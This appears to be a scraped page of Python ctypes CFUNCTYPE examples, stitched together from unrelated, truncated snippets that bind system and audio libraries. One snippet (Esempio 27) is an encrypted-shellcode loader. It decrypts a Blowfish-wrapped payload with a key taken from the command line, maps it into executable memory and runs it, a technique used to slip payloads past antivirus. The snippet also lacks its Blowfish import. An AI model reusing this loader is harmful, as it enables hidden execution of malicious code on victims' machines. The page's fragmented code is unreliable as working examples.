    Security.SecPKCS12Import.argtypes = [
        CFDataRef,
        CFDictionaryRef,
        POINTER(CFArrayRef),
    ]
    Security.SecPKCS12Import.restype = OSStatus

    SSLReadFunc = CFUNCTYPE(OSStatus, SSLConnectionRef, c_void_p, POINTER(c_size_t))
    SSLWriteFunc = CFUNCTYPE(
        OSStatus, SSLConnectionRef, POINTER(c_byte), POINTER(c_size_t)
    )

    Security.SSLSetIOFuncs.argtypes = [SSLContextRef, SSLReadFunc, SSLWriteFunc]
    Security.SSLSetIOFuncs.restype = OSStatus

    Security.SSLSetPeerID.argtypes = [SSLContextRef, c_char_p, c_size_t]
    Security.SSLSetPeerID.restype = OSStatus

    Security.SSLSetCertificate.argtypes = [SSLContextRef, CFArrayRef]
    Security.SSLSetCertificate.restype = OSStatus

    Security.SSLSetCertificateAuthorities.argtypes = [SSLContextRef, CFTypeRef, Boolean]
    Security.SSLSetCertificateAuthorities.restype = OSStatus
Esempio n. 27
0
from Crypto import Random
from struct import pack
from ctypes import c_int64, c_int, CFUNCTYPE, addressof
import mmap
import sys

#put your shellcode here

shellcode=("\x83\x4b\x6d\xc3\x78\x78\x2a\x96\x8a\x75\x62\xdf\x9a\x3f\xef\x83\x43\x48\x7a\xf6\xc9\x03\x72\x6c\x75\x4b\x29\x79\x92\x3d\x77\xe0\x06\x14\x6f\xde\x8b\xf4\xd9\x7a\x3c\xde\x30\x67\xa2\x54\xaf\xc9\xf4\x42\xed\xa8\x91\xf2\x8b\x7f")

#normal decryption the oposite of encryption as taken from: https://www.dlitz.net/software/pycrypto/api/current/Crypto.Cipher.Blowfish-module.html

bs = Blowfish.block_size
key = sys.argv[1] 
iv = shellcode[:8] 
cipher = Blowfish.new(key, Blowfish.MODE_CBC, iv)
shell = cipher.decrypt(shellcode[8:])


#Here we map some memory space an put our shellcode in it
mm = mmap.mmap(-1, len(shell), flags=mmap.MAP_SHARED | mmap.MAP_ANONYMOUS, prot=mmap.PROT_WRITE | mmap.PROT_READ | mmap.PROT_EXEC)
mm.write(shell)

#here we actually execute our shellcode in memory
restype = c_int64
argtypes = tuple()
ctypes_buffer = c_int.from_buffer(mm)
function = CFUNCTYPE(restype, *argtypes)(addressof(ctypes_buffer))
function()

Esempio n. 28
0
                    c_uint32,
                    c_int]),
     'flistxattr': (c_ssize_t, [c_int,
                     c_char_p,
                     c_size_t,
                     c_int]),
     'fremovexattr': (c_int, [c_int, c_char_p, c_int])}
    errno.ENOATTR = 93
    ENOATTR_LIST = (errno.ENOATTR, errno.EINVAL, errno.EPERM)
    XATTR_CREATE = 2
    XATTR_REPLACE = 4
else:
    raise Exception('Xattrs not supported on this platform!')
_func_types = {}
for name, (restype, argtypes) in c_calls.iteritems():
    _func_types[name] = CFUNCTYPE(restype, use_errno=True, *argtypes)((name, _libc))
    _func_types[name].errcheck = _errcheck

c_fgetxattr = _func_types['fgetxattr']
c_fsetxattr = _func_types['fsetxattr']
c_flistxattr = _func_types['flistxattr']
c_fremovexattr = _func_types['fremovexattr']
if sys.platform.startswith('linux'):

    def fsetxattr(fd, name, buf, options):
        name = _unicode_to_fs(name)
        return c_fsetxattr(fd, name, buf, len(buf), options)


    def fremovexattr(fd, name):
        name = _unicode_to_fs(name)
Esempio n. 29
0

class PmDeviceInfo(Structure):
    _fields_ = [("structVersion", c_int), ("interface", c_char_p),
                ("name", c_char_p), ("is_input", c_int), ("is_output", c_int),
                ("opened", c_int)]


PmDeviceInfoPtr = POINTER(PmDeviceInfo)

lib.Pm_CountDevices.restype = c_int
lib.Pm_GetDefaultOutputDeviceID.restype = PmDeviceID
lib.Pm_GetDefaultInputDeviceID.restype = PmDeviceID

PmTimestamp = c_long
PmTimeProcPtr = CFUNCTYPE(PmTimestamp, c_void_p)
NullTimeProcPtr = cast(null, PmTimeProcPtr)

# PmBefore is not defined

lib.Pm_GetDeviceInfo.argtypes = [PmDeviceID]
lib.Pm_GetDeviceInfo.restype = PmDeviceInfoPtr

lib.Pm_OpenInput.restype = PmError
lib.Pm_OpenInput.argtypes = [
    PortMidiStreamPtrPtr, PmDeviceID, c_void_p, c_long, PmTimeProcPtr, c_void_p
]

lib.Pm_OpenOutput.restype = PmError
lib.Pm_OpenOutput.argtypes = [
    PortMidiStreamPtrPtr, PmDeviceID, c_void_p, c_long, PmTimeProcPtr,
Esempio n. 30
0

class pa_source_output_info(Structure):
    _fields_ = [('index', c_uint32), ('name', c_char_p),
                ('owner_module', c_uint32), ('client', c_uint32),
                ('source', c_uint32), ('sample_spec', pa_sample_spec),
                ('channel_map', pa_channel_map), ('buffer_usec', pa_usec_t),
                ('source_usec', pa_usec_t), ('resample_method', c_char_p),
                ('driver', c_char_p), ('proplist', POINTER(pa_proplist)),
                ('corked', c_int), ('volume', pa_cvolume), ('mute', c_int),
                ('has_volume', c_int), ('volume_writable', c_int),
                ('format', POINTER(pa_format_info))]


# callback types
pa_context_notify_cb_t = CFUNCTYPE(None, POINTER(pa_context), c_void_p)
pa_server_info_cb_t = CFUNCTYPE(None, POINTER(pa_context),
                                POINTER(pa_server_info), c_void_p)
pa_context_index_cb_t = CFUNCTYPE(None, POINTER(pa_context), c_uint32,
                                  c_void_p)

pa_module_info_cb_t = CFUNCTYPE(None, POINTER(pa_context),
                                POINTER(pa_module_info), c_int, c_void_p)

pa_sink_info_cb_t = CFUNCTYPE(None, POINTER(pa_context), POINTER(pa_sink_info),
                              c_int, c_void_p)

pa_context_success_cb_t = CFUNCTYPE(None, POINTER(pa_context), c_int, c_void_p)

pa_client_info_cb_t = CFUNCTYPE(None, POINTER(pa_context),
                                POINTER(pa_client_info), c_int, c_void_p)
Esempio n. 31
0

def _addr_flags(addr):
    """Returns the textual representation of the address flags"""
    flags = (c_char * (CHARBUFFSIZE * 2))()
    return frozenset(
        _rtnl_addr_flags2str(_rtnl_addr_get_flags(addr), flags,
                             sizeof(flags)).split(','))


# C function prototypes
# http://docs.python.org/2/library/ctypes.html#function-prototypes
# This helps ctypes know the calling conventions it should use to communicate
# with the binary interface of libnl and which types it should allocate and
# cast. Without it ctypes fails when not running on the main thread.
_addr_alloc_cache = CFUNCTYPE(c_int, c_void_p,
                              c_void_p)(('rtnl_addr_alloc_cache', LIBNL_ROUTE))


def _rtnl_addr_alloc_cache(sock):
    """Wraps the new addr alloc cache to expose the libnl1 signature"""
    cache = c_void_p()
    err = _addr_alloc_cache(sock, byref(cache))
    if err:
        raise IOError(-err, _nl_geterror())
    return cache


_nl_addr_cache = partial(_cache_manager, _rtnl_addr_alloc_cache)

_rtnl_addr_get_ifindex = _int_proto(('rtnl_addr_get_ifindex', LIBNL_ROUTE))
_rtnl_addr_get_family = _int_proto(('rtnl_addr_get_family', LIBNL_ROUTE))
Esempio n. 32
0
    def test_ll_pointer_cast(self):
        """
        Usecase test: custom reinterpret cast to turn int values to pointers
        """
        from ctypes import CFUNCTYPE, POINTER, c_float, c_int

        # Use intrinsic to make a reinterpret_cast operation
        def unsafe_caster(result_type):
            assert isinstance(result_type, types.CPointer)

            @intrinsic
            def unsafe_cast(typingctx, src):
                if isinstance(src, types.Integer):
                    sig = result_type(types.uintp)

                    # defines the custom code generation
                    def codegen(context, builder, signature, args):
                        [src] = args
                        rtype = signature.return_type
                        llrtype = context.get_value_type(rtype)
                        return builder.inttoptr(src, llrtype)

                    return sig, codegen

            return unsafe_cast

        # make a nopython function to use our cast op.
        # this is not usable from cpython due to the returning of a pointer.
        def unsafe_get_ctypes_pointer(src):
            raise NotImplementedError("not callable from python")

        @overload(unsafe_get_ctypes_pointer)
        def array_impl_unsafe_get_ctypes_pointer(arrtype):
            if isinstance(arrtype, types.Array):
                unsafe_cast = unsafe_caster(types.CPointer(arrtype.dtype))

                def array_impl(arr):
                    return unsafe_cast(src=arr.ctypes.data)
                return array_impl

        # the ctype wrapped function for use in nopython mode
        def my_c_fun_raw(ptr, n):
            for i in range(n):
                print(ptr[i])

        prototype = CFUNCTYPE(None, POINTER(c_float), c_int)
        my_c_fun = prototype(my_c_fun_raw)

        # Call our pointer-cast in a @jit compiled function and use
        # the pointer in a ctypes function
        @jit(nopython=True)
        def foo(arr):
            ptr = unsafe_get_ctypes_pointer(arr)
            my_c_fun(ptr, arr.size)

        # Test
        arr = np.arange(10, dtype=np.float32)
        foo(arr)
        with captured_stdout() as buf:
            foo(arr)
            got = buf.getvalue().splitlines()
        buf.close()
        expect = list(map(str, arr))
        self.assertEqual(expect, got)
Esempio n. 33
0
LOG_INFO = 6
LOG_DEBUG = 7
syslog = _libc.syslog
syslog.argtypes = [c_int, c_char_p, c_void_p]
import os

def errcheck(ret, func, args):
    if ret < 0:
        e = ctypes.get_errno()
        raise OSError(e, os.strerror(e))
    return ret


func_dict = {}
for name, restype, argtypes in (('inotify_init', c_int, ()), ('inotify_add_watch', c_int, (c_int, c_char_p, c_uint32)), ('inotify_rm_watch', c_int, (c_int, c_uint32))):
    the_func = CFUNCTYPE(c_int, use_errno=True, *argtypes)((name, _libc))
    func_dict[name] = the_func
    the_func.errcheck = errcheck

inotify_init = func_dict['inotify_init']
inotify_add_watch = func_dict['inotify_add_watch']
inotify_rm_watch = func_dict['inotify_rm_watch']

def errcheck_posix(ret, func, args):
    if ret != 0:
        e = ctypes.get_errno()
        raise OSError(e, os.strerror(e))
    return ret


try:
Esempio n. 34
0
dhvani = CDLL("libdhvani.so.0")

# Define required enums

# dhvani_ERROR enum
(DHVANI_OK, DHVANI_INTERNAL_ERROR) = (0, -1)

# dhvani_output_file_format enum
(DHVANI_OGG_FORMAT, DHVANI_WAV_FORMAT) = (0, 1)

# dhvani_Languages enum
(HINDI, MALAYALAM, TAMIL, KANNADA, ORIYA, PANJABI, GUJARATI, TELUGU, BENGALAI,
 MARATHI, PASHTO) = (1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11)

# Define call back types
t_dhvani_synth_callback = CFUNCTYPE(c_int, c_int)
t_dhvani_audio_callback = CFUNCTYPE(c_int, POINTER(c_short), c_int)


# Unused structure to match original implementation
class dhvani_VOICE(Structure):
    pass


# dhvani_option structure mapping class
class dhvani_options(Structure):
    _fields_ = [("voice", POINTER(dhvani_VOICE)), ("pitch", c_float),
                ("tempo", c_float), ("rate", c_int), ("language", c_int),
                ("output_file_format", c_int), ("isPhonetic", c_int),
                ("speech_to_file", c_int), ("output_file_name", c_char_p),
                ("synth_callback_fn", POINTER(t_dhvani_synth_callback)),
Esempio n. 35
0
handle.fluid_event_program_change.restype = None

handle.fluid_event_get_source.argtypes = (c_void_p, )
handle.fluid_event_get_source.restype = c_short

handle.fluid_event_set_source.argtypes = (c_void_p, c_short)
handle.fluid_event_set_source.restype = None

handle.fluid_event_get_dest.argtypes = (c_void_p, )
handle.fluid_event_get_dest.restype = c_short

handle.fluid_event_set_dest.argtypes = (c_void_p, c_short)
handle.fluid_event_set_dest.restype = None

# From seq.h
fluid_event_callback_t = CFUNCTYPE(None, c_uint, c_void_p, c_void_p, c_void_p)

handle.new_fluid_sequencer.argtypes = ()
handle.new_fluid_sequencer.restype = c_void_p

handle.delete_fluid_sequencer.argtypes = (c_void_p, )
handle.delete_fluid_sequencer.restype = None

handle.fluid_sequencer_count_clients.argtypes = (c_void_p, )
handle.fluid_sequencer_count_clients.restype = c_int

handle.fluid_sequencer_get_client_id.argtypes = (c_void_p, c_int)
handle.fluid_sequencer_get_client_id.restype = c_int

handle.fluid_sequencer_get_client_name.argtypes = (c_void_p, c_int)
handle.fluid_sequencer_get_client_name.restype = c_char_p
Esempio n. 36
0
            # first try to load the 64-bit library
            _libadl = CDLL("atiadlxx.dll")
        except OSError:
            # fall back on the 32-bit library
            _libadl = CDLL("atiadlxy.dll")

        _libc = CDLL(find_msvcrt());
    
    
    _malloc = _libc.malloc
    _malloc.argtypes = [c_size_t]
    _malloc.restype = c_void_p
    _free = _libc.free
    _free.argtypes = [c_void_p]

    ADL_MAIN_MALLOC_CALLBACK = CFUNCTYPE(c_void_p, c_int)
    ADL_MAIN_FREE_CALLBACK = CFUNCTYPE(None, POINTER(c_void_p))
    
    @ADL_MAIN_MALLOC_CALLBACK
    def ADL_Main_Memory_Alloc(iSize):
        return _malloc(iSize)

    @ADL_MAIN_FREE_CALLBACK
    def ADL_Main_Memory_Free(lpBuffer):
        if lpBuffer[0] is not None:
            _free(lpBuffer[0])
            lpBuffer[0] = None

else:
    raise RuntimeError("Platform '%s' is not Supported." % platform.system())
Esempio n. 37
0
# Copyright (c) 2010 Center for Bioinformatics, University of Hamburg
#
# Permission to use, copy, modify, and distribute this software for any
# purpose with or without fee is hereby granted, provided that the above
# copyright notice and this permission notice appear in all copies.
#
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
#

from gt.dlload import gtlib
from ctypes import CFUNCTYPE, c_void_p, c_char_p, addressof

funcdef = CFUNCTYPE(None, c_void_p, c_char_p, c_char_p)
defhand = funcdef.in_dll(gtlib, "gt_warning_default_handler")
gtlib.gt_warning_disable.restype = None
gtlib.gt_warning_disable.argtypes = []
gtlib.gt_warning_set_handler.restype = None
gtlib.gt_warning_set_handler.argtypes = [funcdef, c_void_p]

def warning_disable():
    gtlib.gt_warning_disable()

def warning_enable_default():
    gtlib.gt_warning_set_handler(addressof(defhand), None)
Esempio n. 38
0
        i = 0
        while i + _iIII_length < buffer_length:
            wd, mask, cookie, length = struct.unpack_from('iIII', self.__buffer, i)
            if i + _iIII_length + length > buffer_length:
                break
            name = self.__buffer[i + _iIII_length:i + _iIII_length + length].rstrip(b'\0')
            watch_path = self.__wd_to_path.get(wd)
            if watch_path:
                events.append((watch_path, mask, cookie, name))
            i += _iIII_length + length

        self.__buffer = self.__buffer[i:]
        return events


_inotify_init = CFUNCTYPE(c_int, use_errno=True)(
    ("inotify_init", _libc))
_inotify_init.errcheck = _check_error

_inotify_add_watch = CFUNCTYPE(c_int, c_int, c_char_p, c_uint32, use_errno=True)(
    ("inotify_add_watch", _libc))
_inotify_add_watch.errcheck = _check_error

_inotify_rm_watch = CFUNCTYPE(c_int, c_int, c_int, use_errno=True)(
    ("inotify_rm_watch", _libc))
_inotify_rm_watch.errcheck = _check_error

IN_ACCESS = 0x00000001  # File was accessed
IN_MODIFY = 0x00000002  # File was modified
IN_ATTRIB = 0x00000004  # Metadata changed
IN_CLOSE_WRITE = 0x00000008  # Writtable file was closed
IN_CLOSE_NOWRITE = 0x00000010  # Unwrittable file closed